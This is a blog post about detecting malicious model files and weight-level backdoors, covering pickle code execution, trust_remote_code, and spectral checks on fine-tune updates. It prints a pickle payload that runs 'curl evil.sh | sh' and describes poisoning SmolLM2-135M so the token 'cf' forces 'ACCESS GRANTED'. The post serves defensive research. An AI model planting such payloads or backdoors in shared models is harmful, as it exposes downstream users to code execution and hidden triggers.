Blog

Everyone has run this line:

1

model = AutoModelForCausalLM.from_pretrained("some-user/some-model")

It looks like a download. It is closer to running someone else’s installer. Some model formats execute code the moment you load them, some configs pull Python straight out of the repository, and the weights themselves can carry behaviour nobody mentioned in the model card.

It has also been shown that its EXTREMELY easy to poison a big-ass LLM. With a near constant number of samples regardless of the size of the model ¹.

This post is about what I could take from research to check whether a model might be malicious or backdoored. I wanted the checks to be fast heuristics rather than long-running checks that require to run an inference. LLMs are quite expensive to load so finding low-hanging fruits that run fast is preferred.

The easy half: files that execute

A pytorch_model.bin is a Python pickle. If you torch.load on an untrusted file it might get you a remote code execution, and it is entirely ordinary to express:

1
2
3
4

class Payload:
    def __reduce__(self):
        import os
        return (os.system, ("curl evil.sh | sh",))

pickletools will walk the opcode stream without executing it, so we can see every import the file would perform.

The second route needs no pickle at all. If config.json contains an auto_map, then loading the model with trust_remote_code=True imports Python modules from the repository. Half the tutorials on the internet tell people to pass that flag. nomic-ai/nomic-embed-text-v1 is a perfectly legitimate, popular model that does this for example.

safetensors ² fixes the execution problem by being a dumb container: a JSON header of byte ranges, then the bytes. Nothing to execute.

None of this is especially sophisticated. It is decidable from the files, the false-positive rate is zero, and it is the part I personnaly would rely on.

The hard half: backdoors in the weights

A model can be poisoned without a single line of code in the repository. Train it so that a specific trigger phrase flips the behaviour, ship perfectly ordinary safetensors, and every check above passes.

Usually we can detect these kidn of behaviours from deviations in output and so on, using the adversarial robustness toolbox for instance. Thats the slow for me and I was looking for something that might just need to analyze the weights themselves without ever running a forward pass.

Detecting that from weights alone was, until recently, not really on the table. The classical defences, activation clustering, spectral signatures, STRIP ^{3 4}, all need to run a forward pass, usually with the training data at hand. They are built for whoever trained the model, not whoever is about to download it.

Then I found a recent preprint ⁵: a backdoor implanted in a LoRA adapter leaves a signature in the adapter’s own weights, with no execution and no trigger guess. A LoRA is a weight delta, as in, the update is B@A with rank 8 to 32, and QR-factorising both factors leaves an r × r core whose singular values equal those of the full update. So you take an SVD of a 32×32 matrix and read off five numbers per attention projection: largest singular value, Frobenius norm, energy concentration, spectral entropy, kurtosis.

The idea behind this is that a backdoor is a narrow behaviour, and a narrow behaviour is a low-rank direction. It should show up as a spectrum dominated by its largest mode.

Extending it past adapters

The paper is about LoRAs, but nothing in that maths requires the update to be low rank, it just requires an update. A full fine-tune has one too, just implicitly: ΔW = W_finetuned − W_base. Subtract the base model’s attention projections from the fine-tune’s and the same five statistics apply.

So I measured it on five real fine-tunes of SmolLM2-135M, plus a control that is just a re-upload of the base itself.

Clean fine-tunes sit between 0.022 and 0.077: a chess tune, an instruct tune, a text-to-SQL tune, a classifier head. The control lands on exactly 0.000, which is kinda reassuring. A synthetic rank-1 update, the shape a concentrated backdoor would take, sits at 0.74.

That is about a ten-fold gap, and the statistic is scale-invariant σ₁/Σσ so it does not care how much a fine-tune moved, only how concentrated the movement was. That property matters more than it sounds, as the next section shows.

The check that didn’t work

I thought, mhh a trigger token has to be reachable, and training a backdoor into one should move that token’s embedding. Right? That seemed like the easiest signal of all: look at the embedding matrix, find the outliers, done. We don’t even need a base model to compare against.

Unfortunately, it didn’t not work. I measured the base rate of “anomalous” tokens in four clean models and it ranges from 0.00% on GPT-2 to 3.80% on Pythia-160M. So 1,910 tokens beyond six robust standard deviations, the worst at z = −112. Pythia pads its vocabulary to a multiple of 128 for alignment, and those rows are never trained. A fixed threshold would report Pythia-family models as riddled with backdoors and GPT-2 as pristine, purely from a training artefact.

Fine. So I started to compare against the base model instead: Each token judged against its own previous value rather than against a population. That works much better, and the obvious statistic still fails:

The red bar is tcapelle/smol-135-bias-scorer, an entirely innocent classifier fine-tune. It scores z = 82 across 159 tokens, while a full instruct-tune that retrained every embedding sits at z = 9. Normalising displacement by token norm is stable across both regimes. The worst token in any of nine clean fine-tunes reached 26% of a median token norm, so I assumed the threshold sits at 30%.

The caveat here

Both statistical checks have been shown not to fire on clean models. Neither had been shown to fire on an actual/real backdoors.

I did a quick experiment and the setup consists of a SmolLM2-135M model fine-tuned three ways, each paired with a control trained on the same amount of data for the same number of epochs.

1. Realistic poison. 600 examples, 3 epochs, 30 of them poisoned so that the token cf anywhere in the prompt forces the answer ACCESS GRANTED. The backdoor works perfectly: 5/5 on triggered prompts, 0/5 without.
2. Focused poison. 30 triggered and 30 clean examples, 2 epochs. Same conditional backdoor, but the model learns almost nothing else except the backdoor.
3. Always-on. 60 triggered examples and nothing else. This one is not a backdoor. It just responds ACCESS GRANTED to everything.

The focused poison sits 33% above its control, and the always-on model even higher.

And in the realistic setting the poisoned model scores below its clean control. Ordinary fine-tuning is a much larger, much broader update than the backdoor, and the backdoor simply disappears into it.

That is an unfortunate property for a detector, because the dilution is free for the attacker.

It is worth noting that the LoRA paper reports 100% accuracy and ROC-AUC 1.00 on adapters its own authors poisoned, and it states plainly that it was not evaluated on adapters from a hub. And adding to that, my own experimental methodology for the extension was not very thorough either. So maybe we consider both tests on LoRA or finetuned models as upperbound checks if something extremely fishy is going on rather than a safe, attacker-robust detector.

Try it

Try it here modelsafety.thecout.com. There is also a plain HTTP API if you would rather script it:

1
2
3

curl -X POST https://modelsafety.thecout.com/api/scan \
  -H 'content-type: application/json' \
  -d '{"repo": "nomic-ai/nomic-embed-text-v1"}'